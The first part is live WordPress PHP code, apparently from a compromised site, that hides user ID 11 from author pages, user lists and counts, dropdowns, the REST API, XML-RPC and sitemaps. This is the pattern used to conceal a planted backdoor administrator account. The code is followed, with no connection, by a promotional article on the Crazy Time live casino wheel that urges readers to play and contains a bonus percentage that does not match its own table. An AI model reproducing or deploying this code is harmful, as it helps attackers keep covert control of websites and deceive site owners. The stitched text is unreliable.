add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 11;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 11 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 11 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 11;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 11;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 11;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/11(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 11;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
Fifty-four segments. That’s what you’re betting on. Numbers 1, 2, 5, and 10, plus the four bonus icons. Land on a number, you get your stake multiplied by that number – simple enough. But here’s where it gets interesting. Above the main wheel sits the Top Slot, a secondary reel that spins two separate reels. One shows numbers or bonus games, the other shows multipliers. So if the Top Slot lands a 1 and an x5, and the main wheel also lands on 1, you’re not getting 1:1. You’re getting 1:5. That’s the whole trick. The base game is just the appetizer, and the Top Slot is the seasoning that makes everything taste better.
This is where Crazy Time separates itself from every other money wheel out there. The bonuses aren’t just tacked on – they’re the main event. Roughly 11% of the wheel’s segments land on bonus games, but that 11% is where the real damage happens. Here’s what you’re playing for:
Let’s talk numbers, because that’s what actually matters. The RTP sits between 94% and 96%, depending on what you bet on. That’s not the worst, but it’s not the best either. The real edge here isn’t the base game – it’s the strategy. You’re not just chucking chips at numbers like you would on a standard wheel. You’ve got to think about when to chase bonuses and when to play it safe on the numbers. Here’s a quick breakdown of the segments:
| Segment Type | Number of Segments | Payout Potential |
|---|---|---|
| Number 1 | 23 | 1:1 (plus Top Slot multiplier) |
| Number 2 | 15 | 2:1 (plus Top Slot multiplier) |
| Number 5 | 7 | 5:1 (plus Top Slot multiplier) |
| Number 10 | 4 | 10:1 (plus Top Slot multiplier) |
| Bonus Games | 5 | Up to 20,000x |
Notice something? The bonus segments are few, but they’re worth the wait. That’s why betting on them isn’t just a gamble – it’s a calculated risk.
If you just want to spin a wheel and watch the numbers roll in, stick with Dream Catcher. It’s simpler, it’s cleaner, and it won’t fry your brain. But if you want a game that keeps you on your toes, where the host might be dressed like a hot air balloon pilot and the bonus rounds actually require you to make a decision, Crazy Time is where you need to be. The strategic element comes from choosing when to chase the bonus games. Do you play it safe on the numbers, or do you throw a few chips at the bonus icons and hope for a 20,000x payday? That’s the choice that makes every spin feel different.
Here’s the thing about Crazy Time – it’s not just a game, it’s a spectacle. The hosts, the animations, the sheer chaos of the bonus rounds. It’s all designed to keep you entertained, but don’t mistake the fun for a lack of substance. The odds are fair, the payouts are real, and the potential for a life-changing win is always there. So the next time you’re scrolling through your live casino options, don’t just pass it by. Give it a spin. You might not hit the jackpot, but you’ll definitely have a story to tell.
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